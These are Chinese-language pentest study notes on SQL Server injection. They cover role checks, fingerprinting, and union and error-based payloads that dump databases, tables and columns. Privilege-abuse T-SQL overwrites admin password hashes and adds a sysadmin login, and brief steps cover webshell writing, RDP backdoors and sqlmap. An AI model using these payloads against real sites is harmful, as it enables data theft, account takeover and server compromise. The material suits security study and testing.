SQL sever注入
Sqlsever常规操作
- access数据库大于100m可能就会运行缓慢,为了应对中小型企业的使用,微软推出
了sqlserver数据库,用来应对一些大型的数据量。
- sqlserver常用于:
教育网站
政府网站
棋牌网站
游戏网站
- 监听端口:1433
- 数据库使用
- 数据库删除
- 数据库权限
sa权限:数据库操作,文件管理,命令执行,注册表读取等 =system
dbo权限:文件管理,数据库操作等 =users-administrators
public:数据库操作 =guest-users
- 调用数据库代码
- 数据库账号信息常见的位置:
conn.asp/aspx
config
dbconn
web.config
一个企业站一个服务器,有可能是sqlsever
一个服务器多个企业站,基本上是access
管理员账号:sa,允许外部连接,可以密码爆破
数据库文件后缀:.mdf .ldf 下载数据库时两者需要同时下载
这四个系统数据库是由dbid号划分的,用户再创建数据库dbid号从5开始
Sqlsever版本向下兼容,如08可以访问05的数据
删除数据库先分离,然后进数据库目录删除
在源码中会有明文显示
如果查看源代码发现不是sa账号,但不一定没有sa权限,进一步测试再下结论
有时sa账号也会存在被降权的处理
Sqlsever注入利用
- 判断注入的语句
And 1=1 and1=2
' "
/ -0
- 初步判断是否是mysql
- 判断数据库系统
and (select count(*) from sysobjects)>0 判断是否为mysql
and (select count(*) from msysobjects)>0 判断是否为access
And user > 0
下面是布尔盲注的语句,全靠猜,一般用工具跑
Sqlsever常见的注入类型
- Bool盲注
- Union
- Error:
- 多语句
- 时间盲注
union select null,null,null
替换字符列进行查询数据
查询数据库:
?id=1 union select null,(select name from master.dbo.sysdatabases where dbid=1),null
查询表名:
id=1 union select null,(select top 1 name from (select top 1 name from sysobjects where xtype=0x75 order by name) t order by name desc),null
改变top后的数字来改变查询的第几个表
查询列名:
?id=1 union select null,(select col_name(object_id('表名'),1)),null
改变表名后的数字来改变查询的第几个列
注意:access使用select from后面要指定表名,但mssql和mysql可以不指定 ,因为用数字在非数字列数据类型不匹配会报错,不像access会 直接爆出来,所以要用null,再用数字替换确定是不是数字列,或 用'null'判断是不是字符列,页面回显正常就是字符列,报错就是数字列。
查询数据库版本
?id=1 and 1=(select@@version)
通过报错把想要获取的信息显示出来。
由于输入id=1是数字类型,后面的语句与数字型不匹配,强制转换会导致报错,从而把查询的信息跟报错信息一起显示出来,也可以?id=@@version
查询数据库名
?id=1 and1 (select db_name())
?id=db_name()
查询表名
获取第一张表名:
?id=1 and 1=(select top 1 name from sysobjects where xtype='u')
获取第二张表名?id=1 and 1=(select top 1 name from sysobjects where xtype='U' and name <>'前一张表名')
以此类推,除去查过的表继续查询在后面加and name <> '表名'即可
可以以xml格式输出所有表
and 1=(select name from sysobjects where xtype='u' for xml path)
这种可能会被waf拦截
查询列名
?id=1 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name = '表名'))
同样用and name <> '列名'来依次来爆其他列名
也可使用xml输出
?id=1 and 1=(select top 1 name from syscolumns where id =(select id from sysobjects where name = '表名') for xml path)
查询数据
?id=1 and 1=(select top 1 列名 from 表名)
Sqlsever不同权限利用
判断权限语句
and 1=(select is_srvrolemember('sysadmin')) :判断是否为sa(系统管理员)权限
and 1=(select is_srvrolemember('db_owner')):判断是否为dbo(库)权限
and 1=(select is_srvrolemember('public')) :判断是否为public权限
页面返回正常说明是你正在测的权限
*Sa权限的利用
- 注入用户密码(三种权限都可以)
- 修改网站管理员密码:
- 直接getshell
- 调用系统命令
- 创建sqlserver管理:
- 系统服务操作,停止或启动服务:
- 注册表操作
应用于管理员密码md5值解不出来
先备份原md5值
?id=1 ;update admin set pass='要设置的密码的md5' where
admin='管理员用户名'(这里是多语句查询注入)
创建系统管理员
注意:08创建用户时限制密码不能用弱口令
操控文件
操控日志文件
getshell
08:
Echo写入一句话到网站根目录,注意一句话要用^引用
exec master.dbo.sp_addlogin test,password:创建一个test账号
exec master.dbo.sp_addsrvrolemember test,sysadmin:将test账号添加到
sysadmin中,拥有sa权限
exec master..xp_servicecontrol 'stop','schedule'
exec master..xp_servicecontrol 'start','schedule'
创建后门
开启3389
启用3389之后新建任务调用cmd,可以进行无文件攻击,建立反弹会话
运行Explorer.exe可直接进入系统
Dbowner权限利用
Getshell
可以利用工具
Sqlsever工具使用
Sqlmap:
Sqlmap -u url --current -db 列出当前数据库
Sqlmap -u url --current -user 查看当前用户
Sqlmap -u url --is -dba 判断是否为管理员